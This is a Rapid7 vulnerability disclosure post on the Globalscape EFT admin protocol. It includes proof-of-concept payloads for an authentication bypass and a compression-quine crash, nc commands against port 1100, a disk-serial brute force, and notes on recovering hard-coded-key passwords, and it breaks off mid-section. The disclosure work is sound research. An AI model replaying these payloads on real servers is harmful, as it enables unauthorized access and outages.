  • MOVEit Transfer solution CVE-2023-34362: Rapid7’s research team saw the first instances of compromise in Progress Software’s MOVEit Transfer solution. This was four days before the vendor issues public advisory. Since then our team has been tracking this critical zero-day vulnerability. Rapid7 has remote and authenticated vulnerability checks available to InsightVM and Nexpose customers for both MOVEit Transfer vulnerabilities. Learn more here.
  • Widespread Exploitation of Zyxel Network Devices CVE-2023-28771: Added to the Known Exploited Vulnerabilities (KEV) list by CISA, this vulnerability impacted the Zyxel networking devices. The vulnerability is present in the default configuration of vulnerable devices and is exploitable in the Wide Area Network (WAN) interface, which is intended to be exposed to the internet. Learn more about Rapid7’s response here.
  • PaperCut Remote Code Execution Vulnerability CVE-2023-27350: an unauthenticated remote code execution vulnerability in PaperCut MF/NG print management software that allows attackers to bypass authentication and execute arbitrary code as SYSTEM on vulnerable targets. InsightVM customers have an authenticated check available for the CVE on Windows and MacOS systems. Learn more about Rapid7’s response here.
  • Barracuda ESG Appliances CVE-2023-2868: The Email Security Gateway (ESG) appliances of Barracuda Networks were impacted by a remote command injection vulnerability that the firm said had been exploited in the wild by threat actors since at least October 2022. Learn more about the CVE and mitigation guidance here.
  • Fortinet’s Fortigate Firewall CVE-2023-27997: A critical remote code execution (RCE) vulnerability was discovered in Fortigate SSL VPN firewalls. Fortinet device vulnerabilities are historically popular with attackers of all skill levels, though exploitability varies on a vuln-by-vuln basis. An authenticated vulnerability check is available for Rapid7 customers to assess their exposure. Learn more here.

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

